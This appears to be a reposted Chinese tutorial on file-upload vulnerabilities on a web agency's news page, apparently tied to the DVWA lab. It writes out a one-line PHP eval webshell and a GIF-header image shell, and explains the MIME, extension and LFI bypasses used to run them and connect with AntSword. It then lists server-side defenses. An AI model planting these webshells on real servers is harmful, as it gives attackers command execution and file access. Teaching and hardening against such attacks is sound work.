新闻详情

新闻详情

首页 / 资讯中心 / 详情

文件上传及其防范

发布时间:2026/10/1 7:23:27来源:尧图网络
文件上传及其防范
写一句话 PHP 木马?php eval($_POST[pass]);?eval()执行传入的 PHP 代码pass连接密码蚁剑 / 菜刀用 POST 提交参数上传木马文件Low 级别直接上传shell.phpMedium抓包修改Content‑Type绕过 MIME 检测或者修改文件名后缀绕过High制作图片马文件头加上 GIF 标识GIF89a?php eval($_POST[pass]);?保存为shell.jpg让服务器解析执行木马关键上传成功不等于拿 Shell两种执行方式1直接访问如果上传目录允许 PHP 解析直接浏览器访问http://xxx/hackable/uploads/shell.php2配合本地文件包含 LFI 漏洞上传图片马 / PHP 马用?page../../hackable/uploads/shell.jpg文件包含把图片当作 PHP 代码解析执行。连接 WebShell使用蚁剑URL填写触发木马的完整访问地址直接访问地址 / LFI 漏洞地址密码pass连接成功后就可以浏览服务器文件、读写文件、执行系统命令、提权。攻击要点①上传只是把文件写到服务器磁盘②必须让 Web 服务器把这个文件当作脚本解析执行才会得到 webshell如果上传目录禁止执行脚本就算上传 php 木马也只能下载不能运行。二、安全措施生产环境防护重点 4 大核心1. 文件后缀使用白名单拒绝黑名单✅白名单只允许业务需要的后缀例如仅允许jpg,png,gif不在列表直接拒绝。❌不要黑名单禁止 php、php5、phtml变种后缀无穷无尽黑名单防不住绕过。2. 校验文件真实内容不要只看文件名读取**文件幻数文件头**判断真实文件类型防止改后缀的图片马。gifGIF89ajpg\xFF\xD8\xFFpng\x89PNG图片二次渲染对上传图片重新压缩生成新图片清除图片内部嵌入的 PHP 代码干掉图片马。只检查文件名可以上传伪装成图片的 php 木马。3. 重命名文件丢弃用户原始文件名用户提交的文件名完全不可信。服务器生成随机文件名例如a2f3bc7d9.jpg不要保留用户上传的shell.php.jpg。过滤特殊字符.. / \ %00 ;防止路径穿越、00 截断、解析漏洞绕过。4. 上传目录关闭脚本执行权限【非常关键】Web 服务器配置上传文件夹关闭 PHP 脚本解析。即使攻击者成功上传 php 木马放到这个目录也只会被当作普通文件下载不会执行代码。Apache 配置示例Directory /var/www/html/upload php_admin_flag engine off /Directory5. 其他辅助加固MIME‑Type 请求头仅做辅助判断不能作为唯一校验抓包可以篡改。文件存储隔离上传文件存放到 OSS 或者独立目录尽量不放在网站 web 根目录。限制上传文件大小。访问上传文件增加鉴权不能直接通过文件名可控访问。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

苏州新闻媒体投喂GEO优化服务商靠谱商家测评排名 2026/10/1 8:30:26

苏州新闻媒体投喂GEO优化服务商靠谱商家测评排名

苏州的企业最近聊起一个新话题:采购方找供应商,第一站已经不在百度,也不在电商平台,而是直接问豆包、DeepSeek、元宝、千问这些AI助手。问一句苏州附近做机械零部件加工哪家靠谱,AI给出的推荐名单里有没有你&#xff0…

阅读更多 →
元宇宙虚拟校史馆技术方案解析:一个引擎+两大平台架构拆解 2026/10/1 8:30:26

元宇宙虚拟校史馆技术方案解析:一个引擎+两大平台架构拆解

摘要 元宇宙虚拟校史馆融合高精度3D建模、AI智能导览、VR等技术,已被地方本科院校、职业院校、中小学广泛采用。本文从技术架构角度拆解虚拟校史馆建设方案:一个引擎(WEBAR/VR交互引擎)两大平台(3D数字化场景搭建平台、…

阅读更多 →
MongoDB 8.0 Ubuntu安装 2026/10/1 8:30:26

MongoDB 8.0 Ubuntu安装

信息已核实:MongoDB 8.0 官方源支持 Ubuntu 24.04(noble)/22.04(jammy)/20.04(focal),生产环境推荐副本集形态。先给出三种部署形态的架构示意,再给完整的可执行步骤。 结论:单机适合开发/测试,副本集(≥3 节点)是生产基线,数据量/写入压力大时再上分片集群。全…

阅读更多 →
ZCode 中的 React 条件渲染规范:用显式三元表达式替代 ``,杜绝渲染出 0 与 NaN 2026/10/1 8:30:26

ZCode 中的 React 条件渲染规范:用显式三元表达式替代 ``,杜绝渲染出 0 与 NaN

人工智能大模型代码智能体AI Agent桌面应用后端前端CLI 【免费下载链接】ZCode ZCode 是 AI 编程工作台,提供桌面应用、浏览器界面和终端 Agent。本仓库包含客户端、后端服务、共享 UI,以及 Agent CLI 与运行时源码。 项目地址: https://gitc…

阅读更多 →
老旧未完善打飞机 2026/10/1 8:30:26

老旧未完善打飞机

下面这篇博客将严格以你最开始发来的未经修改的 Java 代码为基础,不引入后续优化版本中的敌机、碰撞检测、Swing Timer 等功能。文章会按照初学者容易理解的方式,介绍原始代码的设计思路、各个类的作用、游戏运行流程,以及其中涉及的 Java 基…

阅读更多 →
JMeter并发模拟本质:用户行为建模与系统资源约束 2026/10/1 8:30:13

JMeter并发模拟本质:用户行为建模与系统资源约束

1. 项目概述:为什么“JMeter模拟多用户并发”不是点几下鼠标就能搞定的事你搜“jmeter模拟多用户并发”,页面刷出来几百条教程,标题清一色写着“5分钟学会JMeter压测”、“手把手教你用JMeter跑1000并发”。我干这行十年,亲手搭过…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉